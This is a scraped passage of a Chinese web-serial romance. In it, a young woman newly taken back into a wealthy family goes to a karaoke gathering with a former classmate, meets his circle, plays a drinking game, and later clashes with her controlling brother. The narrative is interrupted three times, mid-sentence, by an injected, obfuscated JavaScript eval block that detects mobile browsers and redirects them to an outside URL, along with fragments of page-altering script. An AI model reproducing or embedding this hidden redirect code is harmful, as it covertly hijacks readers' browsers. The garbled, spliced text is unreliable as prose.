她骤然想到曾夫人的面孔,她恨铁不成钢的语气,仿佛她是多么上不得台面的东西,又想到隋父,多可笑,他明明那么嫌弃她,却还是将她接回隋家。而隋逾,隋逾到底是什么态度呢?她到现在仍旧不明朗。 偶尔她会有这样的念头,一切都保持原样对隋家来说也许更好。而她并没有享受很多隋家的优待,却要被迫完成隋家的期望。 这些期待令她感到不安和痛苦。 翟钦尧也没多说,轻推着她坐上去,自己走到驾驶座前开门。 隋遂也没有多说话。 翟钦尧启动车,驶出半月湖度假村。 手机振动了一下,她打开看到是隋逾的消息。 隋逾:【到了发个消息。】 隋遂没有回,摁灭了手机。 翟钦尧轻瞥看见,笑了一声:“隋哥还挺关心你。” 隋遂目光看向窗外,霓虹灯一盏盏划过,静谧的氛围在车内游荡。过了一会儿,她又回过头,目光落在翟钦尧精致的侧颜。 驾驶座在左边,隋遂的眼神在翟钦尧的脸上停留了一瞬就移开了,她想到了翟钦尧左边耳朵下的一颗小痣。 从前坐同桌,她就在翟钦尧的左边,一开始没注意,后来不知道是什么时候,注意到翟钦尧的耳朵下面有一颗青色的小痣,她那时候总是喜欢盯着那颗小痣发呆。 她有一点脸盲。很多人站在一起的时候,总是不能第一时间准确认出每个人,她习惯性捕捉每个人的特色,头发的眼色,有没有戴眼镜,头发习惯梳成什么样子。 后来和翟钦尧同桌,她告诉翟钦尧这件事后,翟钦尧就笑着凑到她面前。 她说:“干嘛?” “让你认真看看,别有一天我换了衣服你不认识我了。” “……” 隋遂满心无奈又好笑,伸手装作嫌弃地推开他,笑骂道:“你神经啊。” 翟钦尧也笑着,没把这件事放在心上。 隋遂却在不经意留意翟钦尧那些除了凭借感觉认出他之外的特色,最后在他左边的耳朵下面发现了一颗青色的小痣。 她没有告诉翟钦尧,很多次,她都想要伸手触碰,但最后都忍住了。 这是她一个人的,关于他的,足以称之为秘密的东西。 “其实……” “什么?” 翟钦尧的声音很小,但隋遂还是听见了,也许是从一开始就在注意听他的声音,他一直在她心里有一处独特的安置处,任何人都无法取代。 包括现在。周遭所有的人,周遭所有的一切对她来说都那么陌生。除了他,只有他。 “……初中我走的时候,我想给你说,不过我不知道你家在哪儿,也不知道你的联系方式。” 隋遂没有手机,家里的电话也从来没有告诉过别人,家就更是如此,她在家没有独立的房间,不能邀请别人去家里,她有意回避这些话题,当然,没有人在乎她住在哪里。 “都过去了。”隋遂说,“现在挺好的。” 比起那个时候知道翟钦尧的去向,现在见到他于她而言更容易接受。 如果那个时候就知道翟钦尧要回到自己的家,原本的家,那她会怎么想呢? 也许,她永远都过不去。也许,在回到隋家之后,她会更疯狂。 10. C10 你以为你是救世主吗 09/ 西港外在市中心,离学校不远,外面的装修很低调,没有富丽堂皇的外壳,但走进去,又是另一番纸迷金醉的景象。 侍者认识翟钦尧,其中一个见到他立刻上前,从他手中接过车钥匙去泊车。 另外一名在前面带路。 包厢在06号。 隋遂走在翟钦尧身边,从进入这里就开始有些拘谨,翟钦尧很自然地拉起她的手腕,低头说:“没事儿,都是我朋友。” 隋遂点了下头。还是没放松。 包厢里已经是一片热闹景象,几个女生穿着单薄在外围的沙发上聊天,面前是几杯在灯光下十分诱人的调酒,隋遂不认识。 很神奇。没有进来之前,隋遂还有些顾虑,此刻却没有了。眼前的一切和她都很远,此刻却好像给她打开了一扇新的大门,隋遂有一种说不出的感觉。很模糊,现在还没有太明确的感觉,但会抓到的,她突然有了这种感觉。 她身上还穿着厚外套,她总是很容易感到冷,所以冬天一到就喜欢把自己裹得很厚,暖气很足,她脱掉外套,里面是一件白色的高领打底,一条卡其色的长裤。 “阿尧终于来了。” 有个男生吹了个又长又响亮的口哨,有一双很亮的眼睛,模样倒是平常,打扮得很时尚。 包厢内闪耀的灯光来回摇晃,不能完全看清楚人的表情。隋遂在翟钦尧的带领下坐在一个女生旁边,又目送翟钦尧跟刚刚打招呼的男生离开。 隋遂收回目光,旁边的女生和她搭话。 “我是跟李江承来的,你呢?” 离近了能闻到女生身上淡淡的香水,柑橘调,微甜。 隋遂说:“翟钦尧。” 女生很意外,“哦。” “你是尧哥带来的?”坐在另一边的女生非常意外地说道,“我之前没见过你。” “他就没来过几回,这次好像是闻骋邀请,他才给了这个面子,不过当时没说要带人过来。”柑橘调女生说。翟钦尧来的次数不多,或者换一个说法,翟钦尧只在最开始几次结束后来过,之后就再没有来过。 她朝隋遂露出一个友好的笑容,“你好,我是居伊,是个模特。” “你好,隋遂。” 隋遂这个名字大家不太清楚,但是这个姓氏不太常见,圈子里姓隋的不多,就她们所知,只有一家比较出名,而那个人,刚好能和面前的人重合。 两个女生交换了一下眼神,随后另一个女生说:“我是景向晴。” 隋遂点头。 包厢前面有一个人正在和另一个女生一起唱情歌,隋遂等了一会儿,有一个瓜子脸的女生走过来对她说:“想喝什么?” “都可以……”随后像是想起来什么,又说:“果汁吧。” 居伊没说什么,倒是景向晴朝她看了一眼,似乎想说话,居伊胳膊肘动了动,她就继续拿着手机玩。 几个人来得早,已经过了刚来的时候拍照片的劲,这会儿有点百无聊赖。这个刚来的人明显和她们不是一路的,但也不适合得罪,不管隋遂在隋家的身份怎么样,都不适合她们看低。 她们见过之前的隋家千金,对比之前,现在的隋遂反而让她们感受到了些微妙的。 “芒果汁可以吗?” “好。”隋遂回应,随后想起了什么,“谢谢。” 她没有让别人帮自己的意思,也没有那么想喝什么,只是坐在这里什么都不做更无聊,就接受了她的好意。 翟钦尧是这里的红人。刚来就被带着坐在了众人中间,隋遂刚开始见到翟钦尧身边的亲近又变得陌生又熟悉。原来即使换了一个地方,他仍旧是人群的中央。而她坐在这里,不远的距离,状似亲密的关系。 隋遂有些怔然的目光被翟钦尧捕捉到,他朝她扬起嘴角,很快被他右边的男生打断。那男人倒了一杯啤酒给他,他摆了摆手,指了指隋遂方向,男生就和左边的男生笑着锤了一下他肩膀,两个人笑得调侃。翟钦尧不知道说了什么,两个人又闹起来,不知道说了什么,硬是把啤酒往他面前推。 翟钦尧还是摆手,笑得很懒散,随后问了身边的人一句什么,卸了力气,有些兴致缺缺的模样。 随着大屏前的两个人唱完,紧接着是一首十分劲爆的DJ舞曲。包厢内人声鼎沸,刚刚的情歌氛围被这股激烈的音乐打散,给隋遂点了单的女生上去跳舞了,全然不似刚刚坐在隋遂身边的矜持,有人随着她的舞蹈鼓掌,很快又有两个女生上前和她一起跳。 舞曲是串烧,过于猛烈的音响声音令隋遂感受到了一阵眩晕……隋遂要的芒果汁有侍者送进来,居伊在隋遂说话之前从侍者手中接过果汁,放在她面前。 周围爆炸般的音乐声,不断摇晃的灯光,还有包厢中间不断跃动着的身体……他目光中有不羁的笑容,还有此刻被众人拥簇着的兴奋。万声俱灭,全都融化在她的眼里。 有时候隋遂想,为什么这个世界上一定会有一部分那么耀眼夺目,而有一部分人注定渺小平凡如尘埃?而耀眼夺目的即使是个坏人,即使他做过很多缺德事,可是只要他外表光鲜,哪怕没有多少能力,也能轻而易举得到一切。可是渺小平凡的人,却要付出很多很多的精力,必须要努力到浑身的筋骨都开始抽疼,才敢去祈求一份上天赐予的爱。 如果这个世界上只有耀眼的人才有资格存在,那渺小又平凡的人为什么要被创造出来?如果不是这样,那为什么这个世界上总是对平凡的人有那么多的苛责? 要求本就普通的人靠努力变得和优秀的人一样,何尝不是一种残忍? 发怔的时间不长,很快就被来到她面前的人打断。 是刚刚坐在翟钦尧身边的男生,端着一杯酒到她身边,只是一个眼色就让居伊自觉挪了位置。 “嫂子好。”男生说,“我是尧哥的朋友,你可以喊我小林。” 隋遂不明所以,点点头。 “尧哥说一会儿要送你回去,不愿意和我们一块喝。”男生笑着说,“不喝酒多没意思啊,嫂子你说是不是?我给你们叫代驾,一会儿保管送你们回去,行不?” 隋遂听明白了,在DJ舞曲结束后,突然安静的包厢里,她再次看向翟钦尧,他侧着头,正在和另一个男生说着什么,随后拿出手机,点了两下就出来包厢。 隋遂不好做决定,想到隋逾说结束后来接她,也许是早就知道翟钦尧在这里一定有朋友带着他喝酒,所以才会提前说好。 翟钦尧的保证他不相信。 隋遂摇头:“我做不了决定。” 男生看见翟钦尧离开也没走,就坐在她身边说:“嫂子可以喊我霖子。” “我是隋遂。” “尧哥很少过来,我们之前喊了不知道多少次他都不愿意出来。”霖子朝她眨了眨眼睛,有些暧昧的神色,“这也是他第一次带人过来,你们俩多久了?” “……”这个问题隋遂很认真地想了一下,最后还是解释,“我们不是男女朋友。” “懂。”霖子一副过来人的样子,“肯定是哥还在追你,你们俩认识多久了?” “七年。”隋遂说,“不过很久没见了,最近才遇到。” “哟,那也算是青梅竹马。” “……你好像对青梅竹马有什么误解。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17469805|201415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “嫂子不用这么谦虚。”他那副不用多解释都懂的样子让隋遂无语,又听他说,“尧哥我们都知道,肯定是对你有意思才会带你过来的。” 是这样吗? 隋遂问自己,得不到一个准确的答案。 门口翟钦尧走进来了,带着一个身形颀长的男人,二十七八岁的年纪,穿一件黑色的羽绒服,没有经过打理的头发有些凌乱,五官轮廓深邃,突出的眉骨下,一双湛黑的眼眸含着几分笑意。 顺着看下去,他的嘴唇也微微扬起,而他目光看向的方向——一个精致性感的女人。 在场不少人看到他进来都不自觉站了起来,随后不明所以的其他人也都跟着站了起来。 原本还在响着的歌不知道被谁关了,所有人都这么安静地看着他们三个人。 男人嗓音低沉慵懒,“不用管我们,继续玩就行。” 隋遂听到耳边霖子的声音,“闻骋居然真来了。” 一个陌生的名字。 但可以听得出在场的人都很在乎这个人。 她还是看向了那个女人,一张鹅蛋脸,皮肤白皙,浸着莹润的光泽感,脊背笔直,肩颈舒展,站在那里像是一棵青松,冷冷淡淡的模样,透着股宁折不弯的劲。隋遂想,像个舞蹈家。 “闻哥,嫂子,真没想到你们会过来。”霖子不知道什么时候已经绕到了门口,笑嘻嘻地说,“别站着了,来这边坐。” 他说话自带一股谄媚的味,但是不惹人厌恶。 翟钦尧也跟着往那边走,包厢很大,沙发放了四组。霖子带着走向离门口最近的那组沙发,原先坐在那儿的几个人很有眼色地让开了位置。明明什么交流都没有,却像是大家都知道要这么做。 隋遂只是看着都觉得神奇。 她的目光还有些怔愣,在居伊重新回到她身边的时候还站着。 音乐再次播放,有个声音甜美的女生拿着话筒唱最近流行的情歌。隋遂看着晃到女人脸上的绿色的灯光,原来有人即使在这样惨淡的灯光下,仍旧是那么体面。 居伊拉了拉她的衣角,“坐吧。” 隋遂点头,“好。” 只是还没完全坐下,翟钦尧走了过来。 “走,我们过去。” 隋遂被翟钦尧带着一块过去,居伊也随后跟着过来,手里端着自己的酒和隋遂的果汁,把果汁放在隋遂面前,就径直走向了一个男生,大概是她刚刚说的,叫李成什么? 隋遂想不起来了。 翟钦尧凑在她耳边轻声道:“一会儿要玩游戏,能接受吗?” 隋遂没怎么玩过酒桌上的游戏,被之前一起在烧烤店打工的男生带着玩过逛三园和摇骰子,但是不熟练,好在运气还行,虽然也输,但不至于垫底。 她有个别人都不知道的事情——她酒量很好。 虽然不知道酒量到底是多少,但是到目前为止她在外面喝酒从来都没有喝醉过。 隋遂看着他眨了下眼睛。 翟钦尧眼尾上挑,随着他回过头,喉结滚动,那一颗在耳朵下的小痣被隐没在黑暗中,但隋遂还是知道在什么地方,她手指动了动,不动声色。 “你真是一点都没变。” 翟钦尧闷笑,大手揉了一把她的头发。 “我一会儿喊代驾送我们回去。放心,我不会喝太多,不会把你弄丢。” 他的左手拉过她的手腕,握着,力道不重。干燥的温热的,隋遂动了动,翟钦尧就松开了手,隋遂将自己的手掌放在了翟钦尧的手心。 切换音乐的间隙,包厢仍人声鼎沸,但她只听得到自己的声音。 “我相信你。” 11. C11 你以为你是救世主吗 11/ 游戏内容不复杂,桌子中央放着一个转盘,每人转一次,转到什么内容执行就好了。 这桌周围一共坐着十一个人。 除了翟钦尧,隋遂只认识居伊和景向晴。 闻骋手随意搭在沙发靠背上,正好将那个醒目的女人揽在自己的领域。即使是如此懒淡的坐姿,仍旧透着股矜贵。 身侧的女人朝她说了句什么,他微微低头,耳朵凑近,薄唇抿出一个笑来。 “小尧,不介绍一下?” 在场除了他,没人能喊他小尧喊得这么轻易,即使是开玩笑。 翟钦尧和这个关系不一般。 这是隋遂的第一想法。 “大哥,你就别调侃我了。”虽是这么说,他还是依言道,“这是我朋友,隋遂。” 闻骋:“既然是小尧的朋友,就跟着他一块喊我大哥吧。” 隋遂朝翟钦尧看过去。 翟钦尧朝她轻点头,幅度很小,隋遂目光又在他的小痣上游移了一瞬。 “大哥好。” 她表情不自然,看起来又有点正经,在场的人看她这样都笑起来。 隋遂手指攥紧,抿唇,好在没有时间留给她品尝这无措的尴尬 翟钦尧又介绍:“这是嫂子。” 那女人也跟着开口:“我是黎秉月,当然你也可以喊我嫂子。” 隋遂也就喊:“嫂子好。” 黎秉月笑了,像是瓷瓶上的梅花,冷极生艳。她端坐在沙发上,暗色沙发更衬得她整个人如白玉一般。 隋遂忍不住盯着她多看了两眼,翟钦尧敲了下她的额头,说:“知道嫂子好看,收敛点,一会儿大哥要生气。” 隋遂忍不住睁大了眼睛。 翟钦尧知道她当真了,笑出声来。 隋遂才反应过来他是在骗自己,表情有点懵,翟钦尧左手揽了下她的肩,“你还是这么好骗。” 他的气息滚烫,携着略淡的烟草味,喷洒在她的额头,十分具有侵略性的动作,隋遂忍不住躲了躲,但背后是翟钦尧的手,她无处可躲。 “你还是和以前一样幼稚。” 她忍不住反驳。 只有他们知道对方在说什么。这种感觉让隋遂有一种隐秘的窃喜。这种感觉有些不齿,明明不应该,可还是存在。因为她那样怯懦吗?隋遂不知道,可快乐是真的。 她能确定,和翟钦尧在一起,很快乐。 这些快乐是她只想一直和他这样下去,时间就这样停下也好,她的脑海里,只有现在,只有此刻,其他都变成虚幻的存在。 即使内心还有一道声音在提醒她,不要献出全部。 心惊胆战的快乐,就像是刀尖舔蜜,因为危险,所以格外甜。 “来来来,难得闻哥跟我们一块,今天开场就让闻哥来怎么样?” 开口的是霖子。她一开始看霖子还以为只是一个跟着这些人身后捞点好处的人,现在看来却不是这样。 在场的每个人内心都是被捧着惯着的人,让他们放下架子活跃气氛这场子不是冷了,就是一会儿功夫就干起来了。霖子不一样,他没有这些心思,他能很快捕捉到那些微妙的情绪,将这些东西压下去,像是暴雨来之前的天空,最后化为晴天。 一个很厉害的人。 在这里的人都有自己的能力和特点。 她就像是一个不小心闯进来的人,格格不入。但这一刻,隋遂突然有了些其他的想法。 转瞬即逝,但她没有很着急想要立刻抓到这些想法。 桌上是闻骋先转了转盘。 ——自己喝一杯。 很安全的结果。闻骋也没有推拒,轻笑了一声就端起酒瓶到了一杯酒一饮而尽。动作潇洒又有些说不出的气度。 那是和翟钦尧身上完全不一样的成熟与从容。 黎秉月没说话,默默抽了一张纸递给她。 闻骋接过,一边优雅擦了擦嘴唇,一边说:“继续。” 包厢内热火朝天,这桌处在其中遗世独立的冷清。 下一个人是之前和翟钦尧坐在一块的男生,隋遂不认识。只是看着他伸长手臂,转转盘的力道不小,转盘转了好一会儿才停下来——指定在场任意一个人喝一杯酒。 男生朝翟钦尧呦呵一声,“尧哥,对不住了啊。” 翟钦尧笑骂:“你小子。” 翟钦尧也没纠缠,很快端起自己面前的酒杯喝了一杯。 他面前这杯酒就是之前男生和霖子倒给他的,不过他一直没喝。他仰头一饮而尽,性感而突出的喉结滚动,连动那颗小痣也开始颤动。隋遂很轻很慢地眨了下眼睛。 放下酒杯,他的上嘴唇留下一圈白色泡沫,粉红色的舌尖伸出舔了舔嘴唇。 隋遂目光在他的嘴唇上停留了一会儿。 “怎么了?” “有泡沫。” 翟钦尧嗯了声,朝对面的男生伸出手,“给几张纸。” 男生直接将纸巾盒递给他,笑着调侃:“尧哥你的待遇不行啊。” “滚蛋。”翟钦尧说,又转头看隋遂的脸色,见她没不高兴,别扭地解释,“他们就是开玩笑,你别在意。” 隋遂抿着唇笑了下,“嗯。” 听她这么说,翟钦尧又有点不得劲,目光在隋遂上扬的嘴角定了一瞬,又转过头,忍不住很小声地“哼”了一声。 随后又有几个人转了转盘,隋遂因为和这些人不熟,他们不太清楚隋遂的性格,也不好将惩罚往她身上引。隋遂没什么感觉就很快轮到了自己。 她目光在转盘上转了一圈,手指在上面轻划。 很快转盘停了下来——和在场的一个人喝交杯酒。 “哦哦哦~” 起哄声让隋遂的大脑停顿了下,环视了一圈在场的人,想说什么,又转头看向翟钦尧。 翟钦尧朝她笑。 霖子:“嫂子还是太害羞了。” 翟钦尧还是朝她笑,等着她做出什么反应。或许是等着她求他也说不定。 很暧昧的氛围。翟钦尧明明一句话都没有说,但隋遂还是感受到了些什么。有些空白的大脑让隋遂没能在第一时间做出反应。 周围的起哄声还没停。 黎秉月开口:“我来陪你。” 说着,她端着自己面前的那杯酒,站起身,往茶几外走去。沙发离茶几的距离还是太狭窄了,即便是经过的几个人都迅速让开了为止,黎秉月还是走得很艰难。 她好心帮自己,隋遂不会不知道,她就端着自己面前的芒果汁也走到那边。 她本来就坐在靠外侧的位置上,走上前,黎秉月伸手拉了下她的胳膊,隋遂脱掉了外面的羽绒服,里面穿着一件白色针织毛衣,隔着毛衣都能感觉到黎秉月的手指的温度。 “嫂子。”离得更近了,隋遂还是没有看到黎秉月脸上的任何瑕疵,皮肤光滑,她身上还有隐隐约约的香味,隋遂不知道这是什么味道,她忍不住吸了吸鼻子。 黎秉月嗯了声。 她在帮自己。可是她脸上没有太多的笑意,隋遂没忍住再次看向她的眼睛,得到了黎秉月疑问的眼神。 两个人的胳膊交叉,隋遂终于喝到了这杯芒果汁,很浓郁的芒果味,还有隐约的苹果味,和一点橙子味。是很丰富很厚重的味道,口感又很清爽。 喝完了,隋遂又去看黎秉月。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17469806|201415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 黎秉月这次对她露出了一点笑意,“回去了。” 霖子带头鼓起掌:“嫂子魅力不减当年,不仅斩男还斩女。” 闻骋呵笑,“霖子。” 霖子装傻,“嫂子,我给你满上。” 黎秉月坐回去,闻骋问:“喜欢她?” 黎秉月没有立刻点头,只是说:“想起来了点事儿。” “嗯?” “隋家。” “……” 闻骋略一思索,恍然,“小心好意试错地方。” 黎秉月:“不会。” 两个人聊天的时间,翟钦尧已经转了,自罚一杯,没什么新意。 很快一轮结束,又来了一轮。 几个人也算是熟悉了,玩游戏的进度变慢了不少,更多是相互之间开始聊天,坐在翟钦尧身边,她能听到翟钦尧说赛车的事情,她不太懂,只是听到了“比赛”“打赌”相关的话。 翟钦尧朝后靠着沙发,只喝了两杯,远远不到喝醉的程度,他头仰着,像是喃喃,声音很低,“有点累了。” 隋遂回头:“累了吗?” 翟钦尧轻轻笑着,“不是这回事。” 闻骋看他这个样子,眯了眯眼睛,“你还是准备这样?” 翟钦尧:“不知道,走着看。” 闻骋:“你现在在干什么你知道吗?” 翟钦尧:“大概知道。” “准备放弃了?” “不放弃也没什么不一样。” “你现在这样子可不像是你说的。” “呵……” 他回话越来越艰难,闻骋目光只在隋遂身上停留了一瞬,快到隋遂捕捉不及。 闻骋淡然站起身,“出去点个火。” 翟钦尧有点不情愿,还是依然站起身,“我去抽根烟,你跟嫂子聊会儿天。” 隋遂目光随着他的动作移动,又想到闻骋的那一眼,不知道到底是什么意思,一直到翟钦尧消失在包厢门口才收回目光。 “在想什么?” “我也不知道。”隋遂回答后转头,对上黎秉月的目光,她和身边的人换了位置坐在了她身边。 香味很淡,隋遂又忍不住吸了吸鼻子。 “你在闻什么?” “……”隋遂脸红了,好在灯光昏暗混乱,可以帮她掩饰这一刻的无措,“没,没什么。” “你喜欢这个香水的味道吗?” “不是香水。” “嗯?”黎秉月疑问。 “你身上的味道,不止是香水味。”隋遂解释,“很好闻。” 她很喜欢这个香味,这花说出来像是变态,隋遂觉得自己太笨了,也不怪曾夫人对她那儿失望。 “大概是洗涤剂的味道,你喜欢我让人给你送点。” “那个……谢谢。” 隋遂也不知道要说什么了,鼻子又忍不住嗅了嗅。 这样的动作让黎秉月忍不住笑了,她笑起来的样子很好看。 黎秉月漂亮,漂亮得像是月亮,一直发着光,隋遂受着月光的沐浴,能感受到月亮的情绪。黎秉月似乎对她有些怜惜。 怜惜?为什么呢? 隋遂不知道,当然就算是知道愿意也不会觉得自己有什么好被人怜惜的,她并没有那么脆弱。 “你喜欢小尧吗?” 这是第二个人问她是不是喜欢翟钦尧,第一个人……隋遂想到了迟见欢。 是因为她们都很敏锐吗?还是她都表现太明显了,所以只要看到她和翟钦尧相处就知道她都心思? 隋遂知道自己从来不是适合遮掩的人,可是这样昭然若揭,还是让隋遂感到了些难为情。 12. C12 你以为你是救世主吗 12/ “很明显吗?” 隋遂摸了摸自己的脸。 “没有。”黎秉月说,“我只是随口一问。” 隋遂:“……” 黎秉月被她的表情逗笑了。 隋遂:“你笑起来更漂亮。” “你笑起来也漂亮。”黎秉月说,“很可爱。” 她眼睛亮晶晶看着一个人的时候,黎秉月不觉得有人能抵得住。不管是刚刚她时不时嗅一嗅鼻子抽动的样子,还是现在她很腼腆地坐着,被她夸了手足无措的样子。黎秉月都觉得很可爱。 闻骋刚开始看到隋遂不以为然,她却不同。 也许闻骋和翟钦尧认识更早,但是对女人来说,往往在一些事情上非常敏感。 翟钦尧谈过几段恋爱,但都是没多久就分手,翟钦尧不喜欢哄人,也懒得在别人身上花什么心思。说是懒,不过是不在乎。 隋遂不一样——为什么不一样? “你和小尧认识很久了吗?” “我们是初中同学。”隋遂再次回答。她紧抿着唇,忍不住问,“为什么你们都这么好奇我和翟钦尧认识多久了?” 因为她现在看起来不像是会和翟钦尧认识的样子吗? “我们?” “霖子也这么问过。” “嗯。”黎秉月思索了下说,“可能因为你们看起来很熟,但我们之前都没有见过你。” 她不太习惯解释,又说:“我们保存个联系方式。” 隋遂哦了声,拿出手机。 两个人交换了联系方式,隋遂注意到黎秉月的头像,是一只猫。 她问:“这是你养的吗?” 黎秉月:“严格来说不是。” “为什么?” “是我领养的,但现在每天照顾它的人不是我。” “是大哥吗?” “嗯。” 隋遂噢了下,有点难以想象闻骋照顾小猫的时候是什么样子,但也不算意外。 从他的表现就能看出他不是个坏人,能让这么多人信服他,愿意拥趸他,也绝对不是一个狠毒的人。 聊到这儿,门外的两个人进来了,翟钦尧顺势坐在了隋遂的左边,人一靠近,就闻到了一股烟草味,略浓,但不刺鼻。 她回头,目光下意识在他的耳下梭巡,很快意识到什么都没有,回神,这一瞬间她想到很多,那些闪过的笑颜,那些流过的汗水,还有,还有……最后一次见面时他的目光。 她当时察觉到了,但总以为以后还有时间,还有机会可以再问,没想到下一次见面是这么远,遥远到她已经忘记了当时想要问什么。而现在一切都不重要了。 有些话,有些问题,有些想法,只能发生在特定的时间里,过了那段时间,也就失去了探求的兴趣。 隋遂一直以为她是一个固执的人,原来也并不完全是这样,她在发现自己没有办法达成目标,也不是一定要疯狂撞南墙,也会降低目标。 他的气息灼热,“刚聊了什么?” 隋遂忍不住躲了躲,好像会被他烫伤似的,“没什么。” “看你和嫂子聊得挺愉快的。” “她很好。” 翟钦尧倒像是夸他一样,挑眉骄傲道:“大哥和嫂子都很好。” 隋遂抿唇笑了。 有时候隋遂觉得,翟钦尧好像很需要别人夸奖一样,会露出一些像小狗一样的表情,他的张扬,任性,恣意,好像只是他套在身上的华丽外套,虽然迤逦诱人,可不贴身。只有在某些时候,他会露出一些脆弱,让她觉得她就在他的身边,或许比这更亲近。 即使是重逢,隋遂仍旧这么觉得。 “嗯,都很好。” 她应和。 隋逾带她认识的人也很好,可那就像是水中的月亮,她看得见,却摸不着。 霖子说:“尧哥,正好下次比赛带她一块去呗,嫂子也还没看过你比赛吧?” 翟钦尧顿了下,转头看向她,目光询问。 隋遂看着他还是笑。 翟钦尧朝霖子哼了声,“要你多事。” - 回程路上,隋遂靠着车窗,目光看着灯光璀璨的城市,却没有焦距。 “今天晚上很开心?”隋逾问。 目光定在她的脸上,隋遂不喜欢这样的注视,简直像是一种审问,她被定在他的领域中,除非说出真话,否则不能挣脱。 某些时候,或许不是真话,而是他想要听的话。 他想听什么话?隋遂不想说,为什么她一定要做到他满意,他喜欢?她本来一切都很好,她没觉得有任何落差。 “嗯?”一直没听到隋遂的声音,他再次疑问。 隋遂轻声:“还好。” “很累吗?”隋逾问,这个问题却不需要她回答了,“不喜欢以后可以直接拒绝,不用担心什么。” 隋遂扯唇:“我只能和你喜欢的人来往吗?” 隋逾皱眉,转头目光锁住她。 隋遂看起来有些疲惫,睫毛低垂,遮住了她的眼睛。脸上的妆容有些失色,露出原本的皮肤,与刚见到她时候的枯黄灰败不同,即使车内不充足的光线下,她的皮肤仍旧呈现出莹润的光泽感。 “你说什么?” 隋遂直起身,但没有看向隋逾。 “我很喜欢,以后也要去。” 隋逾仍旧锁着眉,但是没有再说什么了。 前排开车的陈叔听着,从后视镜看到隋逾的表情,噤若寒蝉。 隋遂和他僵持了一会儿,又没什么力气似的躺回去,目光虚幻。回想刚刚的一切,仍旧不能回神。 霖子说完,隋遂没有说话,翟钦尧回头问她: “所以呢?” 隋遂故意道:“所以什么?” 翟钦尧有点恼,“你明明知道。” 隋遂摇头,“我不知道。”她虽然这么说,但是忍不住笑开。 翟钦尧一只手捏着她的后脖颈,不轻不重地捏了捏,“你快说。” “我不知道要说什么。”隋遂躲着,还是这么说。 隋遂不想低头,好像她迫不及待,即使过了这么长时间还是对他念念不忘似的,但如果不是再次遇到,她早就想不起来了,即使是想起来,那些东西也像是蒲公英一样,吹一下就散。 而现在,是时机的原因吧。她急需一个浮萍,勉强将她拖起。她需要这种拖起,勉强在沉闷窒息的生活在得到呼吸。 “随随。” “嗯。” “你知道我想听什么。” 隋遂还是笑,但不动了。他们两个人都没动了。 “你说不说?” 隋遂摇头。 “真的不说?” 隋遂眼睛都笑得眯了起来。 “随随。”翟钦尧叹气,无奈道,“好吧好吧,让你赢一次。我下周有个比赛,你要来看吗?” 隋遂才像是终于松了口气,“既然你这么诚挚地邀请我,那我就勉为其难答应你吧。” 翟钦尧好笑,捏着她的鼻子,“你就在我面前横吧。” …… 隋遂下车,往房间走,隋逾走在她身边,目光时而转向她,他腿长,步子大,即使隋遂已经加快了自己的步子,也还是轻松被隋逾赶上。 她这副闹脾气的样子倒是让隋逾觉得好笑,又隐隐感到新奇。从小到大,从来都没有人敢在她面前给他甩脸色,更别提让他在后面追着走。 隋遂的动作不快,他走一步就能赶上她快跑两步的距离,只是看着她仓皇好似身后有恶兽追赶。 这个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17469807|201415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人,他轻而易举就能让她停下来,可直到快要走到房间门口,他才在她身后拦住了她。 “为什么生气?”他似是不解。 隋遂睁着眼,她恨自己现在这个不争气的样子,但是又不知道有什么办法让她涌到眼眶的泪水不要留下来。这样好像她很懦弱无能。 “我没有,我没有生气。” 她皱着眉,努力压抑着自己的哭腔,即使这样的行为无济于事,眼泪还是沿着眼角流下,她伸手很快抹掉,这显得她无理取闹。力道很大,在她的脸颊上留下了红痕,又将她已经褪色的妆容擦掉了许多。 她真的没有生气,她也没有生气的资格,只是一切都让她感到烦躁。她分不清这股烦躁因何而起,或许是恼恨自己,为什么不能坦荡承认和翟钦尧的关系;或许是恼恨隋逾,为什么他想要掌控她,不管是生活还是其他…… 隋遂其实能感觉到,隋逾在一点点清除她从前生活的痕迹,那些之前知道她回到隋家,偶尔还会跟她发消息的人都渐渐消失在她的消息列表里。 即使那些人说是交流感情,其实是为了借钱。 她曾经习以为常的一切,都在被现在的生活取代,就好像她已经变成其中的一部分。一切都在不知不觉间完成,潜移默化。 只是那些她都可以不在意。从小到大她学会的最重要的生活技能就是如何在不舒服的环境尽量让自己舒服。 既然顺从隋逾她会舒服,那就顺从吧,也没什么,反正她从来就没有真正舒服过。 对她来说,不舒服才是舒服。 直到她无法再忍受,直到她无法再忍受身上的一切…… 